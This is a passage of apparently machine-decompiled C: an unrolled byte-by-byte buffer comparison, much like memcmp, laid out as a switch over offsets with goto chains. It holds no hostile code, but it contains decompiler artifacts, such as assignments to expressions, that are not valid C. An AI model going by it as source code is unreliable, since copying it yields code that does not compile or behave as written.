								if(__edi == 0) {
									L394:
									__edi =  *(__esi - 9) & 0x000000ff;
									__edi = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L396:
										__ecx =  *(__esi - 8) & 0x000000ff;
										__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L399;
									}
									__ecx = 0;
									__edi = __edi;
									0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L396;
								}
								__ecx = 0;
								__eflags = __edi;
								0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L394;
							}
							__ecx = 0;
							__edi = __edi;
							__ecx = 0 | __eflags > 0x00000000;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L392;
						case 0xc:
							L141:
							if( *(_t1403 - 0xc) ==  *(_t1271 - 0xc)) {
								_t1128 = 0;
								__eflags = 0;
								L151:
								_t1126 = _t1128;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L152;
							}
							_t1543 = ( *(_t1403 - 0xc) & 0x000000ff) - ( *(_t1271 - 0xc) & 0x000000ff);
							if(_t1543 == 0) {
								L144:
								_t1545 = ( *(_t1403 - 0xb) & 0x000000ff) - ( *(_t1271 - 0xb) & 0x000000ff);
								if(_t1545 == 0) {
									L146:
									_t1547 = ( *(_t1403 - 0xa) & 0x000000ff) - ( *(_t1271 - 0xa) & 0x000000ff);
									if(_t1547 == 0) {
										L148:
										_t1128 = ( *(_t1403 - 9) & 0x000000ff) - ( *(_t1271 - 9) & 0x000000ff);
										_t1549 = _t1128;
										if(_t1549 != 0) {
											_t1128 = (0 | _t1549 > 0x00000000) * 2 - 1;
										}
										goto L151;
									}
									_t1126 = (0 | _t1547 > 0x00000000) * 2 - 1;
									if(_t1126 != 0) {
										goto L175;
									}
									goto L148;
								}
								_t1126 = (0 | _t1545 > 0x00000000) * 2 - 1;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L146;
							}
							_t1126 = (0 | _t1543 > 0x00000000) * 2 - 1;
							if(_t1126 != 0) {
								goto L175;
							}
							goto L144;
						case 0xd:
							L220:
							__eflags =  *(__esi - 0xd) -  *(__edx - 0xd);
							if( *(__esi - 0xd) ==  *(__edx - 0xd)) {
								__ecx = 0;
								__eflags = 0;
								L230:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L231;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L223:
								__edi =  *(__esi - 0xc) & 0x000000ff;
								__edi = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L225:
									__edi =  *(__esi - 0xb) & 0x000000ff;
									__edi = ( *(__esi - 0xb) & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L227:
										__ecx =  *(__esi - 0xa) & 0x000000ff;
										__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L230;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L227;
								}
								__ecx = 0;
								__eflags = __edi;
								__ecx = 0 | __edi > 0x00000000;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L225;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L223;
						case 0xe:
							L299:
							__eflags =  *(__esi - 0xe) -  *(__edx - 0xe);
							if( *(__esi - 0xe) ==  *(__edx - 0xe)) {
								__ecx = 0;
								__eflags = 0;
								L309:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L310;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L302:
								__edi =  *(__esi - 0xd) & 0x000000ff;
								__edi = ( *(__esi - 0xd) & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L304:
									__edi =  *(__esi - 0xc) & 0x000000ff;
									__edi = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L306:
										__ecx =  *(__esi - 0xb) & 0x000000ff;
										__ecx = ( *(__esi - 0xb) & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L309;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L306;
								}
								__ecx = 0;
								__eflags = __edi;
								__ecx = 0 | __edi > 0x00000000;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L304;
							}
							__ecx = 0;
							__edi = __edi;
							__ecx = 0 | __eflags > 0x00000000;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L302;
						case 0xf:
							L378:
							__eflags =  *(__esi - 0xf) -  *(__edx - 0xf);
							if( *(__esi - 0xf) ==  *(__edx - 0xf)) {
								__ecx = 0;
								__eflags = 0;
								L388:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L389;
							}
							__edi =  *(__esi - 0xf) & 0x000000ff;
							__edi = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L381:
								__edi =  *(__esi - 0xe) & 0x000000ff;
								__edi = ( *(__esi - 0xe) & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L383:
									__edi =  *(__esi - 0xd) & 0x000000ff;
									__edi = ( *(__esi - 0xd) & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L385:
										__ecx =  *(__esi - 0xc) & 0x000000ff;
										__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L388;
									}
									__ecx = 0;
									__eflags = __edi;
									0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L385;
								}
								__ecx = 0;
								__edi = __edi;
								0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L383;
							}
							__ecx = 0;
							__eflags = __edi;
							__ecx = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L381;
						case 0x10:
							L130:
							_t1011 =  *(_t1403 - 0x10);
							if(_t1011 ==  *(_t1271 - 0x10)) {
								_t1127 = 0;
								__eflags = 0;
								L140:
								_t1126 = _t1127;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L141;
							}
							_t1532 = (_t1011 & 0x000000ff) - ( *(_t1271 - 0x10) & 0x000000ff);
							if(_t1532 == 0) {
								L133:
								_t1301 = ( *(_t1403 - 0xf) & 0x000000ff) - ( *(_t1271 - 0xf) & 0x000000ff);
								if(_t1301 == 0) {
									L135:
									_t1537 = ( *(_t1403 - 0xe) & 0x000000ff) - ( *(_t1271 - 0xe) & 0x000000ff);
									if(_t1537 == 0) {
										L137:
										_t1127 = ( *(_t1403 - 0xd) & 0x000000ff) - ( *(_t1271 - 0xd) & 0x000000ff);
										if(_t1127 != 0) {
											_t1127 = (0 | _t1127 > 0x00000000) * 2 - 1;
										}
										goto L140;
									}
									_t1126 = (0 | _t1537 > 0x00000000) * 2 - 1;
									if(_t1126 != 0) {
										goto L175;
									}
									goto L137;
								}
								_t1126 = (0 | _t1301 > 0x00000000) * 2 - 1;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L135;
							}
							_t1126 = (0 | _t1532 > 0x00000000) * 2 - 1;
							if(_t1126 != 0) {
								goto L175;
							}
							goto L133;
						case 0x11:
							L209:
							__eflags =  *(__esi - 0x11) -  *(__edx - 0x11);
							if( *(__esi - 0x11) ==  *(__edx - 0x11)) {
								__ecx = 0;
								__eflags = 0;
								L219:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L220;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L212:
								__edi =  *(__esi - 0x10) & 0x000000ff;
								__edi = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L214:
									__edi =  *(__esi - 0xf) & 0x000000ff;
									__edi = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L216:
										__ecx =  *(__esi - 0xe) & 0x000000ff;
										__ecx = ( *(__esi - 0xe) & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L219;
									}
									__ecx = 0;
									__edi = __edi;
									0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L216;
								}
								__ecx = 0;
								__eflags = __edi;
								0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L214;
							}
							__ecx = 0;
							__eflags = __edi;
							0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L212;
						case 0x12:
							L288:
							__eflags =  *(__esi - 0x12) -  *(__edx - 0x12);
							if( *(__esi - 0x12) ==  *(__edx - 0x12)) {
								__ecx = 0;
								__eflags = 0;
								L298:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L299;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L291:
								__edi =  *(__esi - 0x11) & 0x000000ff;
								__edi = ( *(__esi - 0x11) & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L293:
									__edi =  *(__esi - 0x10) & 0x000000ff;
									__edi = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L295:
										__ecx =  *(__esi - 0xf) & 0x000000ff;
										__ecx = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L298;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L295;
								}
								__ecx = 0;
								__edi = __edi;
								__ecx = 0 | __eflags > 0x00000000;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L293;
							}
							__ecx = 0;
							__edi = __edi;
							__ecx = 0 | __eflags > 0x00000000;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L291;
						case 0x13:
							L367:
							__eflags =  *(__esi - 0x13) -  *(__edx - 0x13);
							if( *(__esi - 0x13) ==  *(__edx - 0x13)) {
								__ecx = 0;
								__eflags = 0;
								L377:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L378;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L370:
								__edi =  *(__esi - 0x12) & 0x000000ff;
								__edi = ( *(__esi - 0x12) & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L372:
									__edi =  *(__esi - 0x11) & 0x000000ff;
									__edi = ( *(__esi - 0x11) & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L374:
										__ecx =  *(__esi - 0x10) & 0x000000ff;
										__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L377;
									}
									__ecx = 0;
									__edi = __edi;
									__ecx = 0 | __eflags > 0x00000000;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L374;
								}
								__ecx = 0;
								__edi = __edi;
								0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L372;
							}
							__ecx = 0;
							__eflags = __edi;
							__ecx = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L370;
						case 0x14:
							L119:
							_t1010 =  *(_t1403 - 0x14);
							if(_t1010 ==  *(_t1271 - 0x14)) {
								_t1126 = 0;
								__eflags = 0;
								L129:
								if(_t1126 != 0) {
									goto L175;
								}
								goto L130;
							}
							_t1522 = (_t1010 & 0x000000ff) - ( *(_t1271 - 0x14) & 0x000000ff);
							if(_t1522 == 0) {
								L122:
								_t1524 = ( *(_t1403 - 0x13) & 0x000000ff) - ( *(_t1271 - 0x13) & 0x000000ff);
								if(_t1524 == 0) {
									L124:
									_t1311 = ( *(_t1403 - 0x12) & 0x000000ff) - ( *(_t1271 - 0x12) & 0x000000ff);
									if(_t1311 == 0) {
										L126:
										_t1126 = ( *(_t1403 - 0x11) & 0x000000ff) - ( *(_t1271 - 0x11) & 0x000000ff);
										_t1529 = _t1126;
										if(_t1529 != 0) {
											_t1126 = (0 | _t1529 > 0x00000000) * 2 - 1;
										}
										goto L129;
									}
									_t1126 = (0 | _t1311 > 0x00000000) * 2 - 1;
									if(_t1126 != 0) {
										goto L175;
									}
									goto L126;
								}
								_t1126 = (0 | _t1524 > 0x00000000) * 2 - 1;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L124;
							}
							_t1126 = (0 | _t1522 > 0x00000000) * 2 - 1;
							if(_t1126 != 0) {
								goto L175;
							}
							goto L122;
						case 0x15:
							L198:
							__eflags =  *(__esi - 0x15) -  *(__edx - 0x15);
							if( *(__esi - 0x15) ==  *(__edx - 0x15)) {
								__ecx = 0;
								__eflags = 0;
								L208:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L209;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L201:
								__edi =  *(__esi - 0x14) & 0x000000ff;
								__edi = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L203:
									__edi =  *(__esi - 0x13) & 0x000000ff;
									__edi = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L205:
										__ecx =  *(__esi - 0x12) & 0x000000ff;
										__ecx = ( *(__esi - 0x12) & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L208;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L205;
								}
								__ecx = 0;
								__edi = __edi;
								__ecx = 0 | __eflags > 0x00000000;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L203;
							}
							__ecx = 0;
							__edi = __edi;
							__ecx = 0 | __eflags > 0x00000000;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L201;
						case 0x16:
							L277:
							__eflags =  *(__esi - 0x16) -  *(__edx - 0x16);
							if( *(__esi - 0x16) ==  *(__edx - 0x16)) {
								__ecx = 0;
								__eflags = 0;
								L287:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L288;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L280:
								__edi =  *(__esi - 0x15) & 0x000000ff;
								__edi = ( *(__esi - 0x15) & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L282:
									__edi =  *(__esi - 0x14) & 0x000000ff;
									__edi = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L284:
										__ecx =  *(__esi - 0x13) & 0x000000ff;
										__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L287;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L284;
								}
								__ecx = 0;
								__edi = __edi;
								0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L282;
							}
							__ecx = 0;
							__eflags = __edi;
							0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L280;
						case 0x17:
							L356:
							__eflags =  *(__esi - 0x17) -  *(__edx - 0x17);
							if( *(__esi - 0x17) ==  *(__edx - 0x17)) {
								__ecx = 0;
								__eflags = 0;
								L366:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L367;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L359:
								__edi =  *(__esi - 0x16) & 0x000000ff;
								__edi = ( *(__esi - 0x16) & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L361:
									__edi =  *(__esi - 0x15) & 0x000000ff;
									__edi = ( *(__esi - 0x15) & 0x000000ff) - ( *(__edx - 0x15) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L363:
										__ecx =  *(__esi - 0x14) & 0x000000ff;
										__ecx = ( *(__esi - 0x14) & 0x000000ff) - ( *(__edx - 0x14) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L366;
									}
									__ecx = 0;
									__eflags = __edi;
									__ecx = 0 | __edi > 0x00000000;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L363;
								}
								__ecx = 0;
								__edi = __edi;
								0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L361;
							}
							__ecx = 0;
							__eflags = __edi;
							0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L359;
						case 0x18:
							L108:
							_t1009 =  *(_t1403 - 0x18);
							if(_t1009 ==  *(_t1271 - 0x18)) {
								_t1126 = 0;
								__eflags = 0;
								L118:
								if(_t1126 != 0) {
									goto L175;
								}
								goto L119;
							}
							_t1315 = (_t1009 & 0x000000ff) - ( *(_t1271 - 0x18) & 0x000000ff);
							if(_t1315 == 0) {
								L111:
								_t1317 = ( *(_t1403 - 0x17) & 0x000000ff) - ( *(_t1271 - 0x17) & 0x000000ff);
								if(_t1317 == 0) {
									L113:
									_t1516 = ( *(_t1403 - 0x16) & 0x000000ff) - ( *(_t1271 - 0x16) & 0x000000ff);
									if(_t1516 == 0) {
										L115:
										_t1126 = ( *(_t1403 - 0x15) & 0x000000ff) - ( *(_t1271 - 0x15) & 0x000000ff);
										if(_t1126 != 0) {
											_t1126 = (0 | _t1126 > 0x00000000) * 2 - 1;
										}
										goto L118;
									}
									_t1126 = (0 | _t1516 > 0x00000000) * 2 - 1;
									if(_t1126 != 0) {
										goto L175;
									}
									goto L115;
								}
								_t1126 = (0 | _t1317 > 0x00000000) * 2 - 1;
								if(_t1126 != 0) {
									goto L175;
								}
								goto L113;
							}
							_t1126 = (0 | _t1315 > 0x00000000) * 2 - 1;
							if(_t1126 != 0) {
								goto L175;
							}
							goto L111;
						case 0x19:
							L187:
							__eflags =  *(__esi - 0x19) -  *(__edx - 0x19);
							if( *(__esi - 0x19) ==  *(__edx - 0x19)) {
								__ecx = 0;
								__eflags = 0;
								L197:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L198;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L190:
								__edi =  *(__esi - 0x18) & 0x000000ff;
								__edi = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L192:
									__edi =  *(__esi - 0x17) & 0x000000ff;
									__edi = ( *(__esi - 0x17) & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
									__eflags = __edi;
									if(__edi == 0) {
										L194:
										__ecx =  *(__esi - 0x16) & 0x000000ff;
										__ecx = ( *(__esi - 0x16) & 0x000000ff) - ( *(__edx - 0x16) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L197;
									}
									__ecx = 0;
									__eflags = __edi;
									0 | __edi > 0x00000000 = (__edi > 0) * 2 - 1;
									__ecx = (__edi > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L194;
								}
								__ecx = 0;
								__edi = __edi;
								__ecx = 0 | __eflags > 0x00000000;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L192;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L190;
						case 0x1a:
							L266:
							__eflags =  *(__esi - 0x1a) -  *(__edx - 0x1a);
							if( *(__esi - 0x1a) ==  *(__edx - 0x1a)) {
								__ecx = 0;
								__eflags = 0;
								L276:
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L277;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
							__eflags = __edi;
							if(__eflags == 0) {
								L269:
								__edi =  *(__esi - 0x19) & 0x000000ff;
								__edi = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
								__eflags = __edi;
								if(__eflags == 0) {
									L271:
									__edi =  *(__esi - 0x18) & 0x000000ff;
									__edi = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L273:
										__ecx =  *(__esi - 0x17) & 0x000000ff;
										__ecx = ( *(__esi - 0x17) & 0x000000ff) - ( *(__edx - 0x17) & 0x000000ff);
										__eflags = __ecx;
										if(__ecx != 0) {
											__eflags = __ecx;
											__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
										}
										goto L276;
									}
									__ecx = 0;
									__edi = __edi;
									__ecx = 0 | __eflags > 0x00000000;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L273;
								}
								__ecx = 0;
								__edi = __edi;
								0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
								__ecx = (__eflags > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L271;
							}
							__ecx = 0;
							__edi = __edi;
							0 | __eflags > 0x00000000 = (__eflags > 0) * 2 - 1;
							__ecx = (__eflags > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L269;
						case 0x1b:
							L345:
							__eflags =  *(__esi - 0x1b) -  *(__edx - 0x1b);
							if( *(__esi - 0x1b) ==  *(__edx - 0x1b)) {
								__ecx = 0;
								__eflags = 0;
								L355:
								__ecx = __ecx;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L356;
							}
							__edi = __al & 0x000000ff;
							__edi = (__al & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							__eflags = __edi;
							if(__edi == 0) {
								L348:
								__edi =  *(__esi - 0x1a) & 0x000000ff;
								__edi = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								__eflags = __edi;
								if(__edi == 0) {
									L350:
									__edi =  *(__esi - 0x19) & 0x000000ff;
									__edi = ( *(__esi - 0x19) & 0x000000ff) - ( *(__edx - 0x19) & 0x000000ff);
									__eflags = __edi;
									if(__eflags == 0) {
										L352:
										__ecx =  *(__esi - 0x18) & 0x000000ff;
										__ecx = ( *(__esi - 0x18) & 0x000000ff) - ( *(__edx - 0x18) & 0x000000ff);
										__eflags = __ecx;
										if(__eflags != 0) {
											__ecx = __ecx;
											__ecx = (0 | __eflags > 0x00000000) * 2 - 1;
										}
										goto L355;
									}
									__ecx = 0;
									__edi = __edi;
									__ecx = 0 | __eflags > 0x00000000;
									__ecx = (__eflags > 0) * 2 - 1;
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L175;
									}
									goto L352;
								}
								__ecx = 0;
								__eflags = __edi;
								__ecx = 0 | __edi > 0x00000000;
								__ecx = (__edi > 0) * 2 - 1;
								__eflags = __ecx;
								if(__ecx != 0) {
									goto L175;
								}
								goto L350;
							}
							__ecx = 0;
							__eflags = __edi;
							__ecx = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 - 1;
							__eflags = __ecx;
							if(__ecx != 0) {
								goto L175;
							}
							goto L348;
						case 0x1c:
							_t1008 =  *(_t1403 - 0x1c);
							if(_t1008 ==  *(_t1271 - 0x1c)) {
								_t1126 = 0;
								__eflags = 0;
								L107:
								if(_t1126 != 0) {
									goto L175;
								}
								goto L108;
							}
							_t1499 = (_t1008 & 0x000000ff) - ( *(_t1271 - 0x1c) & 0x000000ff);
							if(_t1499 == 0) {
								L100:
